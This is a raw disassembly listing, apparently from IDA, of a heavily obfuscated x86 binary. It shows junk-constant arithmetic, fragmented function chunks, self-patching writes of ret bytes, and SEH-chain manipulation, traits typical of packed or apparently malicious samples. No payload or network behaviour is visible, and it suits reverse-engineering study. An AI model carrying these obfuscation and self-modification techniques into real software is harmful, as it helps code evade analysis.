		jmp	loc_43F776
; ---------------------------------------------------------------------------

loc_4598A7:				; DATA XREF: sub_456276o
		jns	loc_44AA78
		pop	edx
		call	sub_43D514
; START	OF FUNCTION CHUNK FOR sub_4529AE

loc_4598B3:				; CODE XREF: sub_4529AE-2695j
		jmp	loc_4450DE
; END OF FUNCTION CHUNK	FOR sub_4529AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_4598B8:				; CODE XREF: sub_43B3A0:loc_43FEB6j
		or	ebx, 0CD68B26Ch
		adc	eax, ecx
		add	ebp, 0FB5263F9h
		jmp	loc_44C941
; END OF FUNCTION CHUNK	FOR sub_43B3A0

; =============== S U B	R O U T	I N E =======================================



sub_4598CB	proc near		; DATA XREF: sub_44B02F+E4B0o
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_440A7F
		cmp	eax, [ebp-8]
		call	sub_440294
sub_4598CB	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4598DD:				; CODE XREF: sub_439C09+15234j
		jmp	loc_44C436
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_4598E2:				; CODE XREF: sub_4477D7:loc_4563F1j
		push	edi
		push	0EC9A1E4h
		pop	edi
		sub	edi, 0E5DADDB2h
		jmp	loc_4552A8
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
		push	edx
		push	0F8C8F436h
		pop	edx
		rol	edx, 6
		and	edx, 467E5668h
		jmp	loc_445FEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4579D1

loc_459909:				; CODE XREF: sub_4579D1:loc_450D7Bj
		jge	loc_43D00E
; END OF FUNCTION CHUNK	FOR sub_4579D1
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_45990F:				; CODE XREF: sub_445F35+1Bj
		jmp	loc_45961A
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_459914:				; CODE XREF: sub_44E67F-CF9Fj
		jmp	sub_454AAA
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
		cdq
		or	ebx, eax
		xchg	edx, [esi]
		jmp	loc_4460DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_459923:				; CODE XREF: sub_43CB4C+5D4Fj
		jnz	loc_44FEE6
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al
		call	sub_45A1A8
		jmp	loc_44FDC5
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------

loc_459944:				; DATA XREF: sub_43E0BB:loc_44FC3Do
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		dec	eax
		test	eax, eax
		jl	loc_44E3AE
		jmp	loc_455C6D
; ---------------------------------------------------------------------------
		push	ecx
		push	7840A464h
		pop	ecx
		rol	ecx, 17h
		jmp	loc_456EBA

; =============== S U B	R O U T	I N E =======================================



sub_459970	proc near		; CODE XREF: sub_44B6BE+9p
					; dviuq5id:00453775j
		xchg	edi, [esp+0]
		pop	edi
		add	edx, ebx
		rol	edx, 5
		xor	edx, ecx
		rol	edx, 5
		jmp	loc_4415EE
sub_459970	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_459983	proc near		; CODE XREF: sub_4489AE-F276p
					; dviuq5id:00450C8Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439E7B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AFDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C731 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DC5B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043E293 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043EF3F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440D3B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004423AC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442E3C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00447990 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00451C9D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004529C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454002 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00455439 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457D35 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	edx, 0CE6B6AB2h
		mov	edx, [edx]
		add	eax, edx
		xchg	ebx, [esp+4+var_4]
		jmp	loc_43C731
sub_459983	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_459999:				; CODE XREF: dviuq5id:loc_441EC5j
		push	offset loc_444456
		jmp	loc_43ED66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC6E

loc_4599A3:				; CODE XREF: sub_44AC6E+8BAj
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_44312D
		call	sub_44D49A
		jmp	loc_44DE74
; END OF FUNCTION CHUNK	FOR sub_44AC6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452313

loc_4599BC:				; CODE XREF: sub_452313+Ej
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_44E3AE
		call	nullsub_21
; END OF FUNCTION CHUNK	FOR sub_452313
; START	OF FUNCTION CHUNK FOR sub_449EB7

loc_4599CE:				; CODE XREF: sub_43C3D8-22DCj
					; sub_449EB7+8457j
		js	loc_4540FA

loc_4599D4:				; CODE XREF: dviuq5id:loc_449D45j
		call	sub_4562B4

loc_4599D9:				; CODE XREF: sub_4422EC+17051j
		jmp	nullsub_390
; END OF FUNCTION CHUNK	FOR sub_449EB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_4599DE:				; CODE XREF: sub_4525D0-6F53j
		jmp	loc_44BAAC
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
		jmp	ds:off_41D0D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_4599E9:				; CODE XREF: sub_443F7F+E11j
					; sub_443F7F:loc_448AE3j ...
		pop	edx
		jno	loc_444D95
		mov	eax, [esp+14h+var_14]
		push	edx
		call	sub_451BB7
		jmp	loc_4509A7
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------

loc_4599FE:				; CODE XREF: dviuq5id:0045A258j
		jge	loc_44B722
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_459A04:				; CODE XREF: sub_43C3D8+1C31Dj
		jmp	loc_452B82
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FEBB

loc_459A09:				; CODE XREF: sub_43FEBB+16462j
		jmp	nullsub_391
; END OF FUNCTION CHUNK	FOR sub_43FEBB
; ---------------------------------------------------------------------------
		shr	ebp, 7

loc_459A11:				; CODE XREF: dviuq5id:00456431j
		ror	ebx, 9
		not	ecx
		jz	loc_458915
		jmp	loc_44B71D
; ---------------------------------------------------------------------------

loc_459A21:				; CODE XREF: dviuq5id:0043D2A9j
		add	ebx, 795B0AC8h
		xchg	ebx, [esp]
		jmp	nullsub_101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_459A2F:				; CODE XREF: sub_4525D0-9CD4j
		jz	loc_43F19D
		jmp	loc_44D0CC
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A101

loc_459A3A:				; CODE XREF: sub_43A101:loc_43A7C7j
		cmp	ds:dword_441E8C, 0
		jnz	loc_44BA35
		call	nullsub_21
		call	sub_456F43
		mov	edx, 0CF0182F6h
		jmp	loc_443714
; END OF FUNCTION CHUNK	FOR sub_43A101

; =============== S U B	R O U T	I N E =======================================



sub_459A5B	proc near		; DATA XREF: sub_441DDA+6FD3o

; FUNCTION CHUNK AT 004419CA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0045007C SIZE 00000005 BYTES

		add	eax, 0D80F292Dh
		mov	eax, [eax]
		and	dword ptr [eax+24h], 7FFFFFFFh
		push	131354E8h
		pop	eax
		rol	eax, 8
		sub	eax, 0A78CA7Fh
		jmp	loc_45007C
sub_459A5B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454EDD

loc_459A7E:				; CODE XREF: sub_454EDD:loc_4442A1j
		xor	edx, 96E60FE0h
		and	edx, 0A980E916h
		add	edx, 7F43A602h
		mov	[edx], eax
		jmp	loc_459D1C
; END OF FUNCTION CHUNK	FOR sub_454EDD
; ---------------------------------------------------------------------------

loc_459A97:				; DATA XREF: sub_44514D+7044o
		cmp	al, 0A4h
		jz	loc_43C2A3
		jmp	loc_4442FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449DD6

loc_459AA4:				; CODE XREF: sub_449DD6+2j
					; sub_455ADB+12j
		pop	large dword ptr	fs:0
		add	esp, 4
		retn
; END OF FUNCTION CHUNK	FOR sub_449DD6

; =============== S U B	R O U T	I N E =======================================



sub_459AAF	proc near		; CODE XREF: sub_44FE62p

; FUNCTION CHUNK AT 00454889 SIZE 00000005 BYTES

		push	large dword ptr	fs:0
		jmp	loc_454889
sub_459AAF	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_459ABC:				; CODE XREF: dviuq5id:0043B999j
					; dviuq5id:loc_455E27j
		jmp	loc_44F4CC
; ---------------------------------------------------------------------------

loc_459AC1:				; CODE XREF: dviuq5id:0043F5ADj
		adc	ebp, esi
		jmp	loc_445867
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_459AC8:				; CODE XREF: sub_446004+DC8Ej
		push	4F760782h
		pop	eax
		or	eax, 0F6DDEBFCh
		js	loc_44D78C
; END OF FUNCTION CHUNK	FOR sub_446004
; START	OF FUNCTION CHUNK FOR sub_447ADF

loc_459ADA:				; CODE XREF: sub_447ADF-AD92j
		jmp	loc_449D10
; END OF FUNCTION CHUNK	FOR sub_447ADF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_459ADF:				; CODE XREF: sub_4452A6-B84Dj
		jmp	loc_4548D9
; END OF FUNCTION CHUNK	FOR sub_4452A6
; ---------------------------------------------------------------------------
		pushf
		shr	ebx, 10h
		jmp	loc_44D783
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_459AEE:				; CODE XREF: sub_4422EC-5FA1j
		mov	esp, ebp

loc_459AF0:				; CODE XREF: dviuq5id:00457DD9j
		xchg	ecx, [esp+4+var_4]
		mov	ebp, ecx

loc_459AF5:				; CODE XREF: dviuq5id:loc_45037Dj
		xchg	eax, [esp+4+var_4]
		jmp	loc_44B158
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_459AFD:				; CODE XREF: sub_44AD42-3230j
					; dviuq5id:loc_448DD4j
		jz	loc_459C4B
; END OF FUNCTION CHUNK	FOR sub_44AD42

; =============== S U B	R O U T	I N E =======================================



sub_459B03	proc near		; CODE XREF: sub_459630+Ap

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+0]
		jmp	loc_457784
sub_459B03	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_459B15:				; CODE XREF: sub_446004:loc_4418F4j
		jnz	loc_44E1D3
; END OF FUNCTION CHUNK	FOR sub_446004
; START	OF FUNCTION CHUNK FOR sub_449948

loc_459B1B:				; CODE XREF: sub_449948+6F05j
		jmp	nullsub_393
; END OF FUNCTION CHUNK	FOR sub_449948
; ---------------------------------------------------------------------------
		adc	edi, 0DF7A5E35h
		xor	ebx, 0CCD399B7h
		jns	loc_445C16
		adc	eax, esi
		jmp	loc_44E1D3
; ---------------------------------------------------------------------------

loc_459B39:				; CODE XREF: dviuq5id:00459C40j
		jge	loc_43F9A2

; =============== S U B	R O U T	I N E =======================================



sub_459B3F	proc near		; CODE XREF: sub_4547E2:loc_448B05p

; FUNCTION CHUNK AT 0043C8E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044231F SIZE 00000018 BYTES

		xchg	edi, [esp+0]
		pop	edi
		cmp	byte ptr [eax],	0CFh
		jmp	loc_43C8E4
sub_459B3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_459B4B:				; CODE XREF: sub_443F7F+13j
					; sub_443F7F+5F74j ...
		push	8C053356h
		pop	eax
		add	eax, 15D74C56h
		test	eax, 400000h
		jmp	loc_44C6C6
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------

loc_459B62:				; CODE XREF: dviuq5id:loc_457932j
		adc	eax, 0F3C22F4Bh
		rol	esi, 14h
		jmp	loc_4506A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B9DA

loc_459B70:				; CODE XREF: sub_44B9DA:loc_44B9E4j
		xor	eax, 7A6C719Ch
		rol	eax, 7
		add	eax, 0C272BEDFh
		xor	eax, 0E759F7DDh
		add	eax, 0AF8411E0h
		jmp	loc_447AB2
; END OF FUNCTION CHUNK	FOR sub_44B9DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_459B90:				; CODE XREF: sub_443862+AAF2j
		mov	ebp, ecx
		xchg	ebp, [esp+8+var_8]
		push	6E4460CAh
		pop	ecx
		or	ecx, 51FF7AA3h
		jmp	loc_451E8A
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------

loc_459BA6:				; CODE XREF: dviuq5id:004560FAj
		adc	eax, 0FDA47496h

; =============== S U B	R O U T	I N E =======================================



sub_459BAC	proc near		; CODE XREF: sub_43A101+105D5p
		xchg	edi, [esp+0]
		pop	edi
		mov	ds:dword_441E8C, eax
		jmp	loc_44BA35
sub_459BAC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_459BBA	proc near		; CODE XREF: sub_43A101j

; FUNCTION CHUNK AT 00449035 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B486 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044BA2B SIZE 0000000A BYTES

		push	ebp
		jmp	loc_449035
sub_459BBA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_459BC0	proc near		; DATA XREF: sub_443563:loc_43A1A0o

; FUNCTION CHUNK AT 004399A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C36C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0043D829 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004421DE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044367F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455CE9 SIZE 00000014 BYTES

		sub	al, 99h
		push	14133D5Bh

loc_459BC7:				; CODE XREF: dviuq5id:00452225j
		pop	edx
		add	edx, 70FCED99h
		and	edx, 8AE86072h
		add	edx, 9172E393h
		jmp	loc_4399A0
sub_459BC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jnb	loc_446384
		jmp	sub_43B2BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_459BEA:				; CODE XREF: sub_43C4B5:loc_43D42Aj
					; sub_43C4B5+12135j
		or	edi, 0B670E740h
		xor	edi, 383E477Eh
		add	edi, ebp
		add	edi, 71B05FB2h
		mov	[edi], eax
		jmp	loc_440337
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------

loc_459C05:				; CODE XREF: dviuq5id:loc_455CFEj
		jnz	loc_446AD7
		jmp	loc_43C015
; ---------------------------------------------------------------------------
		mov	eax, 0E211C416h
		call	sub_43C4B5
		mov	ds:off_41D208, eax
		lea	eax, loc_457299
		mov	byte ptr [eax],	0C3h
		jmp	loc_457299
; ---------------------------------------------------------------------------
		call	nullsub_492
		jmp	ds:dword_41D000
; ---------------------------------------------------------------------------

loc_459C39:				; CODE XREF: dviuq5id:0043D2FBj
		jmp	loc_4519B1
; ---------------------------------------------------------------------------

loc_459C3E:				; CODE XREF: dviuq5id:0044F296j
		cmp	eax, ecx
		jmp	loc_459B39
; ---------------------------------------------------------------------------

loc_459C45:				; DATA XREF: dviuq5id:00440027o
		call	sub_453642
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_459C4B:				; CODE XREF: sub_44AD42:loc_459AFDj
		push	625DE063h
		pop	ecx
		add	ecx, 3F47D73Ch
		jmp	loc_43EA95
; END OF FUNCTION CHUNK	FOR sub_44AD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C99

loc_459C5C:				; CODE XREF: sub_441C99-2491j
		sbb	ebx, ebp

loc_459C5E:				; CODE XREF: sub_441C99:loc_4522BFj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_451BCE
		jmp	loc_43C051
; END OF FUNCTION CHUNK	FOR sub_441C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_459C6F:				; CODE XREF: sub_43F4F8:loc_457C6Fj
		add	eax, ebp
		add	eax, 0F8AE2545h
		mov	eax, [eax]
		mov	al, [eax]
		jz	loc_44AEE1
		sub	al, 99h
		jmp	loc_4401D1
; END OF FUNCTION CHUNK	FOR sub_43F4F8

; =============== S U B	R O U T	I N E =======================================



sub_459C88	proc near		; DATA XREF: sub_43C2DA+61EBo
		push	0
		push	10h
		mov	eax, [ebp+8]
		push	eax
		jmp	loc_44AD18
sub_459C88	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9D7

loc_459C95:				; CODE XREF: sub_44D9D7+19j
		cmp	edi, 0A7B9CBF2h
		jmp	loc_449BF3
; END OF FUNCTION CHUNK	FOR sub_44D9D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_459CA0:				; CODE XREF: sub_4525D0:loc_43B62Dj
		shr	edi, 4
		jmp	loc_4597A0
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
		mov	ecx, 41F7C5B8h
		jmp	sub_457E1F
; ---------------------------------------------------------------------------

loc_459CB2:				; DATA XREF: sub_458321+5o
		jo	loc_44B057
		mov	eax, [esp]
		push	offset loc_44A27C
		jmp	locret_43CF3E
; ---------------------------------------------------------------------------

loc_459CC5:				; CODE XREF: dviuq5id:004495CCj
		add	esi, 0FFA39427h
		jmp	loc_4413C3
; ---------------------------------------------------------------------------
		jmp	ds:dword_41D120
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D52

loc_459CD6:				; CODE XREF: sub_451D52-176C2j
		jmp	nullsub_398
; END OF FUNCTION CHUNK	FOR sub_451D52
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD	"+" TO EXPAND]
		dd 0FE5D6D84h, 242C87FFh, 0E95DD58Bh, 0FFFE64ADh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_459CEC:				; CODE XREF: sub_44BB53-11C0Bj
		xor	edx, edx
		call	sub_45A04B

loc_459CF3:				; CODE XREF: sub_454228-17AACj
					; sub_44D2A8-102DCj
		mov	eax, ds:dword_453D0C
		push	esi
		push	5385747Fh
		pop	esi
		jmp	loc_45254C
; END OF FUNCTION CHUNK	FOR sub_44BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_459D04:				; CODE XREF: sub_43FA59:loc_4555C7j
		pop	esi
		push	827E90D6h
		pop	eax
		xor	eax, 0F34B04A0h
		cmp	eax, 0B2765009h
		jmp	loc_456D63
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454EDD

loc_459D1C:				; CODE XREF: sub_454EDD+4BB5j
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_454EDD
; ---------------------------------------------------------------------------

loc_459D1E:				; CODE XREF: dviuq5id:00439A86j
		jmp	loc_444F56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_459D23:				; CODE XREF: sub_45288A-E0A0j
		rol	eax, 0Dh
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+0]
		mov	ebp, eax
		xchg	ebp, [esp+0]

loc_459D31:				; DATA XREF: sub_43BD72:loc_454ABDo
		jmp	loc_43D7D3
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------

locret_459D36:				; CODE XREF: dviuq5id:loc_449B46j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_459D37:				; CODE XREF: sub_4492F0-CB5Fj
					; dviuq5id:004451BBj
		rol	eax, 0Fh
		push	eax
		push	edi
		push	0B0DE93F0h
		xchg	ecx, [esp+8+var_8]
		mov	edi, ecx

loc_459D46:				; CODE XREF: sub_439E87:loc_4411D7j
		pop	ecx
		jmp	loc_441FBD
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457A3C

loc_459D4C:				; CODE XREF: sub_457A3C:loc_45236Dj
		jge	loc_44EF0C
; END OF FUNCTION CHUNK	FOR sub_457A3C
; START	OF FUNCTION CHUNK FOR sub_4582AD

loc_459D52:				; CODE XREF: sub_4582AD-1684Fj
		jmp	loc_44804A
; END OF FUNCTION CHUNK	FOR sub_4582AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_459D57:				; CODE XREF: sub_44D022-10FACj
		jmp	loc_43E54E
; END OF FUNCTION CHUNK	FOR sub_44D022
; ---------------------------------------------------------------------------
		sbb	ecx, esi
		xchg	edi, eax
		jmp	loc_44EF0B
; ---------------------------------------------------------------------------

loc_459D65:				; CODE XREF: dviuq5id:loc_458B52j
		call	sub_44108F
		mov	ds:off_41D044, eax
		lea	eax, sub_45944F
		mov	byte ptr [eax],	0C3h
		jmp	loc_43B39B

; =============== S U B	R O U T	I N E =======================================



sub_459D7E	proc near		; CODE XREF: sub_40207A+110p
					; dviuq5id:004552F1j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00441C30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444BFE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00450077 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455306 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00456189 SIZE 00000023 BYTES

		push	edi
		jmp	loc_450077
sub_459D7E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:off_41D114, eax
		lea	eax, sub_44D948
		mov	byte ptr [eax],	0C3h
		jmp	sub_44D948

; =============== S U B	R O U T	I N E =======================================



sub_459D98	proc near		; CODE XREF: sub_40D20A:loc_40D343p
					; sub_459D98+5j
					; DATA XREF: ...
		call	sub_459DA3
		jmp	ds:off_41D118
sub_459D98	endp


; =============== S U B	R O U T	I N E =======================================



sub_459DA3	proc near		; CODE XREF: dviuq5id:0043BA09j
					; dviuq5id:0044A481j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043CDDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449881 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044A070 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044A486 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044EBA4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00458253 SIZE 00000005 BYTES

		pop	edx

loc_459DA4:				; CODE XREF: sub_43FAE1:loc_439E97j
		jmp	loc_44EBA4
sub_459DA3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_459DA9:				; CODE XREF: sub_456253-9F98j
		pop	edx
		and	edx, 0D47FDD57h
		add	edx, 8D29D654h
		xor	eax, edx
		jmp	loc_43A7C2
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E89E

loc_459DBD:				; CODE XREF: sub_44E89E-3703j
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+4+var_4]
		mov	eax, [ebp-8]
		push	esi
		mov	esi, eax
		jmp	loc_4494ED
; END OF FUNCTION CHUNK	FOR sub_44E89E
; ---------------------------------------------------------------------------
		push	edi
		call	sub_446C52
; START	OF FUNCTION CHUNK FOR sub_44E206

loc_459DD4:				; CODE XREF: sub_44E206+6j
		jmp	loc_443405
; END OF FUNCTION CHUNK	FOR sub_44E206
; ---------------------------------------------------------------------------

loc_459DD9:				; CODE XREF: dviuq5id:0044C368j
		jnz	loc_4577EE
		jmp	loc_43D177
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_459DE4:				; CODE XREF: sub_4411C6:loc_4517B1j
		add	ecx, 0BB8165EEh
		xor	ecx, 0A4B6E898h
		sub	ecx, 0B4609213h
		xor	ecx, 5541E518h
		push	offset loc_44A1BE
		jmp	nullsub_399
; END OF FUNCTION CHUNK	FOR sub_4411C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C46D

loc_459E06:				; CODE XREF: sub_43C46D+3AD5j
		xor	edx, 398E4512h
		add	edx, 5447B8CCh
		cmp	edx, 370CE178h
		jmp	loc_4406D9
; END OF FUNCTION CHUNK	FOR sub_43C46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C85A

loc_459E1D:				; CODE XREF: sub_44C85A+Ej
		call	sub_43C4B5
		mov	ds:off_41D1EC, eax
		lea	eax, sub_43D80D
		mov	byte ptr [eax],	0C3h
		jmp	loc_453B24
; END OF FUNCTION CHUNK	FOR sub_44C85A

; =============== S U B	R O U T	I N E =======================================



sub_459E36	proc near		; CODE XREF: sub_419430+3Cp
					; sub_419430+43p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043AAD2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004444C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044473B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044498C SIZE 00000014 BYTES

		push	ebx
		mov	ebx, edx
		jmp	loc_44473B
sub_459E36	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_459E3E:				; CODE XREF: sub_43C3D8:loc_4496B1j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_43A101
		push	offset loc_43A0EE
		jmp	nullsub_520
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_459E54:				; CODE XREF: sub_44EAC4+5334j
		popf
		xchg	edx, [esp+0]
		jmp	loc_4469EF
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
		pop	esi
		jmp	sub_4422EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EEAC

loc_459E63:				; CODE XREF: sub_43EEAC:loc_452CF7j
		add	ecx, 0DE1B47F1h
		xchg	ecx, [esp+4+var_4]
		jmp	sub_4557F2
; END OF FUNCTION CHUNK	FOR sub_43EEAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_459E71:				; CODE XREF: sub_454228-F540j
		jnz	loc_44C321
		mov	[eax], ebp
		jnz	loc_44A9BB
		push	4E33DCF5h
		adc	ebp, ecx
		jz	loc_43D335
		jmp	loc_44C321
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
		pop	large dword ptr	fs:0
		add	esp, 4
		or	eax, eax
		jnz	loc_43AAC0
		jmp	loc_449E67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444688

loc_459EA8:				; CODE XREF: sub_444688:loc_444694j
		call	sub_45A310
		mov	eax, 0DA4431C0h
		push	eax
		push	0B3B9C9BBh
		pop	eax
		or	eax, 0E68F3F4Fh
		add	eax, 3BE3E662h
		jmp	loc_43D08F
; END OF FUNCTION CHUNK	FOR sub_444688
; ---------------------------------------------------------------------------
		mov	ds:dword_41D0F0, eax
		lea	eax, nullsub_176
		call	sub_43D8AA

loc_459EDB:				; CODE XREF: dviuq5id:0043FFB7j
		jmp	locret_4534E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_459EE0:				; CODE XREF: sub_439A5E+6549j
		jmp	loc_43E7A9
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------
		pushf
